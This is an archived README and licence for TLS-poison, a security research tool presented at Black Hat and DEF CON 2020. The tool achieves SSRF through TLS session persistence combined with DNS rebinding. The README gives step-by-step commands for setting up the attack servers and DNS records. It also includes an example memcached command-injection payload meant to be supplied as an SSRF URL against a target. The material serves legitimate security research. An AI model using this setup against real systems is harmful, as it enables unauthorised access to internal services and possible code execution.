TLS-poison

TLS-poison - jmdx, GitHub.

- Published: date not stated
- Original: <https://github.com/jmdx/TLS-poison/>
- Preserved from: https://github.com/jmdx/TLS-poison/ (git) on 2026-08-09
- Repository commit: 9c4ab401af000f6960684016d0c68d0aa0c82144
- Licence: see the repository

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

This reference is a source-code repository. The archive preserves its documentation at an exact commit; the code itself stays in a private mirror and is never checked out, built or run.

- Repository: <https://github.com/jmdx/TLS-poison/>
- Commit: `9c4ab401af000f6960684016d0c68d0aa0c82144`
- Documents preserved: 2

LICENSE

Blob `8a567b5cdf8e`, 1070 bytes, at commit `9c4ab401af00`.

MIT License

Copyright (c) 2020 Joshua Maddux

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN

ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

README.md

Blob `9f19f0290b11`*, 6809 bytes, at commit* `9c4ab401af00`*.*

TLS Poison

YouTube link to presentation

A tool that allows for generic SSRF via TLS, as well as CSRF via image tags in most browsers. The goals are similar to SNI injection, but this new method uses inherent behaviors of TLS, instead of depending upon bugs in a particular implementation.

This was originally presented at Blackhat USA 2020 as well as DEF CON Safemode.

A big thanks goes out to rustls and dns-mitm, each of which this is mostly just a strange patched fork.

Motivation

Back when gopher support was common, people got a lot of mileage out of using it for SSRF. So much so that there's pretty good tooling like Gopherus for doing so. This is because there are some software packages that often sit unauthenticated on localhost or on an internal network. A common one is memcached, because writing to memcached can often become RCE.

What if we could replicate this behavior, but instead of giving the attack target a `gopher://` URL which isn't often supported, we give it an `https://` URL? This has been done before with SNI injection, but what if we did it in a more universal way?

It turns out TLS provides us with the perfect thing - session persistence! I plan on eventually writing up how this works, as well as more detail on what attacks can be done with it. For now you can either watch the Blackhat or DEF CON talk, or attempt to decipher the following diagram I came up with a while back: [image: tes]

Instructions

As a heads up, you will need a domain where you can set NS records. If needed can find a few free subdomain providers which may work by searching around, but I have only tried with a dedicated top-level domain. In any case I'd recommend holding off on registering anything until you complete the first few steps to make sure everything's working properly.

TLS server

This should be on something public, where the DNS rebinding server will eventually resolve to. You should probably use a dedicated box/VM for this, since you'll end up exposing whatever port you want to target, e.g. 11211 for memcached or 25 for SMTP.

```
# Install dependencies
sudo apt install git redis
git clone https://github.com/jmdx/TLS-poison.git
# Install rust:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
cd TLS-poison/client-hello-poisoning/custom-tls
# There will definitely be warnings I didn't clean up :)
cargo build
# Test out the server:
target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rs
# (In another terminal to verify setup)
curl -kv https://localhost:8443
```

DNS rebinding server You'll need this on a public box as well. If you know for sure your box doesn't have a `systemd-resolved` stub resolver, it can be on the same box as `custom-tls`, but I'd recommend putting this on its own.

```
sudo apt install python3 python3-pip
git clone https://github.com/jmdx/TLS-poison.git
cd TLS-poison/client-hello-poisoning/custom-dns
pip3 install -r requirements.txt
# $DOMAIN: The domain you own where you will set up NS records
# $TARGET_IP: Likely 127.0.0.1, though you can set this to be some box
#   netcat listening, for early phases of testing.
# $INITIAL_IP: The IP of the box with custom-tls
sudo python3 alternate-dns.py $DOMAIN,$TARGET_IP -b 0.0.0.0 -t $INITIAL_IP -d 8.8.8.8
# If you get "OSError: address already in use", you can do the following
# to stop systemd-resolved.  This might mess up lots of things outside of
# custom-dns, but if it's on a dedicated VM, you're probably okay.
# A better way is to add DNSStubListener=no to /etc/systemd/resolved.conf
sudo systemctl stop systemd-resolved
# Finally, to verify, run the following a few times to see it alternating:
dig @localhost $DOMAIN
```

Setting up the NS record and certificates

You'll need to set up an NS record and a glue record so that DNS requests go to your rebinding server. For example, if your domain is example.com, you should add:

```
dns.example.com A 300 <DNS_IP>
tlstest.example.com NS 300 dns.example.com
```

Then to get a TLS certificate for `tlstest.example.com`, go to the certbot DNS instructions and complete a DNS challenge for it. Then, go back to `custom-tls` and rerun it:

```
target/debug/custom-tls  -p 8443--verbose --certs letsencrypt-cert.fullchain --key letsencrypt-key.rsa http
```

Now you're set up to attack real stuff! When something makes a request to `https://tlstest.jmaddux.com:8443`, both the TLS session poisoning and DNS rebinding steps should be fully functional.

Putting it all together

To use this in different situations, you'll need to vary a few things:

- port: Your TLS server will need to run on this port, since rebinding only

switches up the domain (e.g. tlstest.example.com:11211 can be either 35.x.x.x:11211, or 127.0.0.1:11211)

- sleep: The duration the TLS server sleeps between redirects. This varies

based upon what software you are sending custom-tls server, instead of what internal service you're attacking. For example, testing curl-initited SSRF this can be 10000ms, but for chrome-based stuff it can be quite short. On the other hand, if you see the attacks failing because you hit a maximum number of redirects, consider increasing this to 59000ms or beyond. If you don't see TLS sessions being persisted and re-delivered to the internal service, it can often be fixed by varying the sleep time.

- payload: Typically will start with a newline, and then have whatever commands

you want to inject into the protocol you're targeting.

For example, for memcached:

```
redis-cli
127.0.0.1:6379> set payload "\r\nset foo 0 0 14\r\nim in ur cache \r"
Ctrl+c
# Note the following is port 11211 now.
target/debug/custom-tls -p 11211 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.r
```

Then run you can supply https://tlstest.example.com:11211 as your SSRF payload. If you want to reproduce my curl/memcached demo from the talk, you'll want to pass `-L` to curl to enable redirects, since command-line curl will use a fresh cache each time it's run. Good luck, and make sure not to attack anything you don't have permission!
